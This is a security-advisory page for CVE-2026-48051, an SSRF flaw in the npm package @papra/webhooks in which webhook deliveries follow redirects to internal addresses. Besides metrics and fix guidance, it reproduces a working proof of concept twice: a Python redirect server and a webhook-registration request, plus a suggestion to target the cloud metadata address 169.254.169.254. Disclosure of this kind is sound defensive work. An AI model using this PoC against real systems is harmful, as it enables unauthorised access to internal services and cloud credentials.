Vulnerabilities in pkg:npm/@papra/webhooks

PACKAGE
Advisory Identifier: GHSA-5g86-85rp-f9hx
Advisory Summary

CVE-2026-48051 is a LOW (CVSS 3.5) papra http redirect bypass can vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting @papra/webhooks libraries in the npm ecosystem. The issue involves papra http redirect bypass can lead to ssrf via webhook delivery system. Remediation is available by upgrading affected packages to version 0.3.3.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/@papra/webhooks

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/@papra/webhooks. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-5g86-85rp-f9hx CVE-2026-48051 LOW Papra HTTP redirect bypass can lead to SSRF via webhook delivery system

CVE-2026-48051 at a Glance

CVE Identifier CVE-2026-48051
GHSA Identifier GHSA-5g86-85rp-f9hx
Severity LOW
CVSS v3.1 Base Score 3.5
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product @papra/webhooks
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 3.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-48051

To remediate this vulnerability, upgrade all affected @papra/webhooks dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@papra/webhooks fixed: 0.3.3
npm install @papra/webhooks@0.3.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @papra/webhooks

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-48051, inspect your project dependencies using npm:

npm ls @papra/webhooks

Analyze the terminal output to locate any version of @papra/webhooks in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.3.3), your application is affected.

Note: The npm ls @papra/webhooks command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In @papra/webhooks, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Papra's webhook delivery system contains an SSRF protection bypass that allows any authenticated organisation member to cause the server to make HTTP requests to internal addresses — loopback, link-local, and RFC-1918 ranges. The SSRF protection validates the registered webhook URL but ignores redirect destinations. The HTTP client (`ofetch`) follows 3xx responses automatically, and the redirect target is never checked against the blocklist. An attacker registers a webhook pointing to an attacker-controlled server, which redirects incoming POSTs to any internal address. Exploitation was confirmed by live test against the official Docker image. The fix is a single-line change to the webhook HTTP client. ### Details **The vulnerable call** The webhook HTTP client in `packages/webhooks/src/webhooks.services.ts` (lines 16–19) calls `ofetch.raw()` without specifying a `redirect` option: ```typescript const response = await ofetch.raw<unknown>(url, { ...options, ignoreResponseError: true, // no `redirect` option — defaults to 'follow' per Fetch API spec }); ``` `ofetch` is a thin wrapper around the WHATWG Fetch API. The Fetch specification defines three redirect modes — `follow`, `error`, and `manual` — and sets `follow` as the default. In `follow` mode, the HTTP implementation resolves the redirect chain internally and returns only the final response; application code receives the terminal response with no indication that any redirects occurred. `ofetch` 1.4.1 does not set a `redirect` option in its internal `fetch()` call, so the default applies. The `ignoreResponseError: true` option only suppresses exceptions on non-2xx responses; it has no effect on redirect handling. **How the bypass works** The SSRF protection runs at two points: registration time (`checkWebhookUrlIsSsrfSafe`, `webhooks.usecases.ts:34`) and delivery time (`filterOutSsrfUnsafeWebhooks`, `webhooks.usecases.ts:124`). Both checks work the same way: ```typescript // apps/papra-server/src/modules/shared/ssrf/ssrf.services.ts, lines 20-27 const hostname = getUrlHostname(url); return isHostnameSsrfSafe({ hostname, allowedHostnames, dnsLookup, logger }); // Resolves hostname → checks all resulting IPs against the blocklist // Blocklist covers: 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, // 169.254.0.0/16, ::1, and other reserved ranges ``` Both checks operate on `url` — the registered webhook URL, a public hostname that resolves to a public IP and passes the blocklist. Neither check has any visibility into where the HTTP client will end up after following a redirect. The `Location` header in a 3xx response is never extracted, never DNS-resolved, and never compared against the blocklist. By the time the redirect target is known to the Fetch implementation, the request has already been made. The developer cannot observe this gap. The Fetch API gives no opportunity to inspect the redirect target before following it. **Evidence** Attacker's redirect server receives the POST and returns 302: ``` [2026-05-08T15:55:38.388647] POST /redirect User-Agent: papra-webhook-client ← set only in webhooks.services.ts:47 X-Forwarded-For: <REDACTED> "POST /redirect HTTP/1.1" 302 - ``` Papra's inbound request log immediately after — this is the server logging a request arriving at itself: ``` {"message":"Request completed","timestampMs":1778255738420, "data":{"status":200,"method":"GET","path":"/api/health", "userAgent":"papra-webhook-client"}} ← outbound UA on an inbound request ``` `papra-webhook-client` is set exclusively by the outbound webhook delivery code (`webhooks.services.ts:47`). Its presence on an inbound log entry is only possible if Papra's own HTTP client followed the 302 and made a request to the loopback. The delivery record confirms the internal endpoint responded HTTP 200: ``` {"message":"Webhook triggered","timestampMs":1778255738422, "data":{"responseStatus":200,"webhookId":"wbh_s6t1xzezbzbivyhptcs7qxhk"}} ``` ### PoC 1. Start `redirect_server.py` on a publicly reachable server (ngrok free tier is sufficient). The example below uses Papra's own health endpoint as the redirect target to demonstrate the bypass — in a cloud environment replace `REDIRECT_TARGET` with `http://169.254.169.254/latest/meta-data/` or any internal address. ```python from http.server import HTTPServer, BaseHTTPRequestHandler from socketserver import ThreadingMixIn import datetime REDIRECT_TARGET = "http://127.0.0.1:1221/api/health" # replace with desired internal target class RedirectHandler(BaseHTTPRequestHandler): def do_POST(self): content_len = int(self.headers.get("Content-Length", 0)) body = self.rfile.read(content_len) print(f"[{datetime.datetime.now(datetime.timezone.utc).isoformat()}] POST {self.path}") print(f" User-Agent: {self.headers.get('User-Agent')}") print(f" Body: {body[:200]}") self.send_response(302) self.send_header("Location", REDIRECT_TARGET) self.end_headers() class ThreadedHTTPServer(ThreadingMixIn, HTTPServer): pass if __name__ == "__main__": server = ThreadedHTTPServer(("0.0.0.0", 9999), RedirectHandler) print("Redirect server running on port 9999") server.serve_forever() ``` > `ThreadingMixIn` is required — Papra immediately opens a second connection to the same port when following the redirect; a single-threaded server deadlocks. 2. Register a webhook pointing to the redirect server: ``` POST /api/organizations/{orgId}/webhooks {"name":"ssrf-test","url":"https://{ngrok-url}/redirect","events":["document:created"]} ``` 3. Upload any document to the organisation to fire a `document:created` event. 4. Confirm on the Papra server logs that `/api/health` received a GET request with `User-Agent: papra-webhook-client`. ### Impact - Any authenticated org member (no admin role required) can trigger the exploit. - The Papra server makes HTTP requests to internal addresses blocked by its own SSRF list: `127.0.0.0/8`, `169.254.0.0/16`, RFC-1918 ranges. - **This is blind SSRF** — internal response bodies are written to `webhook_deliveries` but no API route exposes delivery records. Response content is not accessible to the attacker through the Papra API. - Internal network topology can be partially inferred from whether requests succeed or fail (closed port produces a network error; open port returns an HTTP response). - HTTP 307 redirects preserve the POST method and body, enabling state-changing requests to internal services that accept unauthenticated POSTs. - On cloud deployments (AWS, GCP, Azure), the instance metadata service at `169.254.169.254` is reachable by the same technique. Cloud IMDS was not tested in this PoC (local Docker environment, no metadata service present). Response exfiltration via the Papra API remains unavailable regardless. **Suggested Fix** Add `redirect: 'manual'` to the `ofetch.raw()` call in `packages/webhooks/src/webhooks.services.ts` (line 16) and treat any 3xx response as a delivery failure. Webhook endpoints have no legitimate reason to redirect: ```typescript const response = await ofetch.raw<unknown>(url, { ...options, redirect: 'manual', // do not follow redirects ignoreResponseError: true, }); ``` If redirect-following is ever required in the future, validate the `Location` header through the existing `isUrlSsrfSafe()` check before re-issuing the request.

CVE-2026-48051 Affected @papra/webhooks Versions

1 component(s)
Fixed Versions:
0.3.3
Product / Package Ecosystem Affected Versions Fixed Version
@papra/webhooks
npm
< 0.3.3
0.3.3

References

Frequently Asked Questions

What is CVE-2026-48051?
CVE-2026-48051 is a security vulnerability in @papra/webhooks involving Papra HTTP redirect bypass can lead to SSRF via webhook delivery system under CWE-918: Server-Side Request Forgery (SSRF).
Which @papra/webhooks versions are affected?
Affected versions include releases prior to 0.3.3 across affected packages: @papra/webhooks.
What version fixes CVE-2026-48051?
Upgrading to 0.3.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @papra/webhooks affected?
Yes, @papra/webhooks is affected in releases prior to 0.3.3. Upgrade your dependency to 0.3.3 or later.
What is the CVSS score of CVE-2026-48051?
CVE-2026-48051 has a CVSS v3.1 base score of 3.5 (LOW) with vector string CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:N.
What CWE is associated with CVE-2026-48051?
CVE-2026-48051 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check npm dependencies for CVE-2026-48051?
Run the dependency tree command: 'npm ls @papra/webhooks'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5g86-85rp-f9hx",
  "modified" : "2026-06-10T13:39:10Z",
  "published" : "2026-06-10T13:39:10Z",
  "aliases" : [ "CVE-2026-48051" ],
  "summary" : "Papra HTTP redirect bypass can lead to SSRF via webhook delivery system",
  "details" : "### Summary\n\nPapra's webhook delivery system contains an SSRF protection bypass that allows any authenticated organisation member to cause the server to make HTTP requests to internal addresses — loopback, link-local, and RFC-1918 ranges. The SSRF protection validates the registered webhook URL but ignores redirect destinations. The HTTP client (`ofetch`) follows 3xx responses automatically, and the redirect target is never checked against the blocklist. An attacker registers a webhook pointing to an attacker-controlled server, which redirects incoming POSTs to any internal address. Exploitation was confirmed by live test against the official Docker image. The fix is a single-line change to the webhook HTTP client.\n\n### Details\n\n**The vulnerable call**\n\nThe webhook HTTP client in `packages/webhooks/src/webhooks.services.ts` (lines 16–19) calls `ofetch.raw()` without specifying a `redirect` option:\n\n```typescript\nconst response = await ofetch.raw<unknown>(url, {\n  ...options,\n  ignoreResponseError: true,\n  // no `redirect` option — defaults to 'follow' per Fetch API spec\n});\n```\n\n`ofetch` is a thin wrapper around the WHATWG Fetch API. The Fetch specification defines three redirect modes — `follow`, `error`, and `manual` — and sets `follow` as the default. In `follow` mode, the HTTP implementation resolves the redirect chain internally and returns only the final response; application code receives the terminal response with no indication that any redirects occurred. `ofetch` 1.4.1 does not set a `redirect` option in its internal `fetch()` call, so the default applies. The `ignoreResponseError: true` option only suppresses exceptions on non-2xx responses; it has no effect on redirect handling.\n\n**How the bypass works**\n\nThe SSRF protection runs at two points: registration time (`checkWebhookUrlIsSsrfSafe`, `webhooks.usecases.ts:34`) and delivery time (`filterOutSsrfUnsafeWebhooks`, `webhooks.usecases.ts:124`). Both checks work the same way:\n\n```typescript\n// apps/papra-server/src/modules/shared/ssrf/ssrf.services.ts, lines 20-27\nconst hostname = getUrlHostname(url);\nreturn isHostnameSsrfSafe({ hostname, allowedHostnames, dnsLookup, logger });\n// Resolves hostname → checks all resulting IPs against the blocklist\n// Blocklist covers: 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16,\n//                   169.254.0.0/16, ::1, and other reserved ranges\n```\n\nBoth checks operate on `url` — the registered webhook URL, a public hostname that resolves to a public IP and passes the blocklist. Neither check has any visibility into where the HTTP client will end up after following a redirect. The `Location` header in a 3xx response is never extracted, never DNS-resolved, and never compared against the blocklist. By the time the redirect target is known to the Fetch implementation, the request has already been made.\n\nThe developer cannot observe this gap. The Fetch API gives no opportunity to inspect the redirect target before following it.\n\n**Evidence**\n\nAttacker's redirect server receives the POST and returns 302:\n\n```\n[2026-05-08T15:55:38.388647] POST /redirect\n  User-Agent: papra-webhook-client    ← set only in webhooks.services.ts:47\n  X-Forwarded-For: <REDACTED>\n\"POST /redirect HTTP/1.1\" 302 -\n```\n\nPapra's inbound request log immediately after — this is the server logging a request arriving at itself:\n\n```\n{\"message\":\"Request completed\",\"timestampMs\":1778255738420,\n \"data\":{\"status\":200,\"method\":\"GET\",\"path\":\"/api/health\",\n         \"userAgent\":\"papra-webhook-client\"}}   ← outbound UA on an inbound request\n```\n\n`papra-webhook-client` is set exclusively by the outbound webhook delivery code (`webhooks.services.ts:47`). Its presence on an inbound log entry is only possible if Papra's own HTTP client followed the 302 and made a request to the loopback. The delivery record confirms the internal endpoint responded HTTP 200:\n\n```\n{\"message\":\"Webhook triggered\",\"timestampMs\":1778255738422,\n \"data\":{\"responseStatus\":200,\"webhookId\":\"wbh_s6t1xzezbzbivyhptcs7qxhk\"}}\n```\n\n### PoC\n\n1. Start `redirect_server.py` on a publicly reachable server (ngrok free tier is sufficient). The example below uses Papra's own health endpoint as the redirect target to demonstrate the bypass — in a cloud environment replace `REDIRECT_TARGET` with `http://169.254.169.254/latest/meta-data/` or any internal address.\n\n```python\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nfrom socketserver import ThreadingMixIn\nimport datetime\n\nREDIRECT_TARGET = \"http://127.0.0.1:1221/api/health\"  # replace with desired internal target\n\nclass RedirectHandler(BaseHTTPRequestHandler):\n    def do_POST(self):\n        content_len = int(self.headers.get(\"Content-Length\", 0))\n        body = self.rfile.read(content_len)\n        print(f\"[{datetime.datetime.now(datetime.timezone.utc).isoformat()}] POST {self.path}\")\n        print(f\"  User-Agent: {self.headers.get('User-Agent')}\")\n        print(f\"  Body: {body[:200]}\")\n        self.send_response(302)\n        self.send_header(\"Location\", REDIRECT_TARGET)\n        self.end_headers()\n\nclass ThreadedHTTPServer(ThreadingMixIn, HTTPServer):\n    pass\n\nif __name__ == \"__main__\":\n    server = ThreadedHTTPServer((\"0.0.0.0\", 9999), RedirectHandler)\n    print(\"Redirect server running on port 9999\")\n    server.serve_forever()\n```\n\n> `ThreadingMixIn` is required — Papra immediately opens a second connection to the same port when following the redirect; a single-threaded server deadlocks.\n\n2. Register a webhook pointing to the redirect server:\n   ```\n   POST /api/organizations/{orgId}/webhooks\n   {\"name\":\"ssrf-test\",\"url\":\"https://{ngrok-url}/redirect\",\"events\":[\"document:created\"]}\n   ```\n3. Upload any document to the organisation to fire a `document:created` event.\n4. Confirm on the Papra server logs that `/api/health` received a GET request with `User-Agent: papra-webhook-client`.\n\n### Impact\n\n- Any authenticated org member (no admin role required) can trigger the exploit.\n- The Papra server makes HTTP requests to internal addresses blocked by its own SSRF list: `127.0.0.0/8`, `169.254.0.0/16`, RFC-1918 ranges.\n- **This is blind SSRF** — internal response bodies are written to `webhook_deliveries` but no API route exposes delivery records. Response content is not accessible to the attacker through the Papra API.\n- Internal network topology can be partially inferred from whether requests succeed or fail (closed port produces a network error; open port returns an HTTP response).\n- HTTP 307 redirects preserve the POST method and body, enabling state-changing requests to internal services that accept unauthenticated POSTs.\n- On cloud deployments (AWS, GCP, Azure), the instance metadata service at `169.254.169.254` is reachable by the same technique. Cloud IMDS was not tested in this PoC (local Docker environment, no metadata service present). Response exfiltration via the Papra API remains unavailable regardless.\n\n**Suggested Fix**\n\nAdd `redirect: 'manual'` to the `ofetch.raw()` call in `packages/webhooks/src/webhooks.services.ts` (line 16) and treat any 3xx response as a delivery failure. Webhook endpoints have no legitimate reason to redirect:\n\n```typescript\nconst response = await ofetch.raw<unknown>(url, {\n  ...options,\n  redirect: 'manual',       // do not follow redirects\n  ignoreResponseError: true,\n});\n```\n\nIf redirect-following is ever required in the future, validate the `Location` header through the existing `isUrlSsrfSafe()` check before re-issuing the request.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@papra/webhooks"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.3.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/papra-hq/papra/security/advisories/GHSA-5g86-85rp-f9hx"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/papra-hq/papra/commit/086dccbfda18c850bee50b94c48f5f110be6935c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/papra-hq/papra"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-10T13:39:10Z",
    "nvd_published_at" : null
  }
}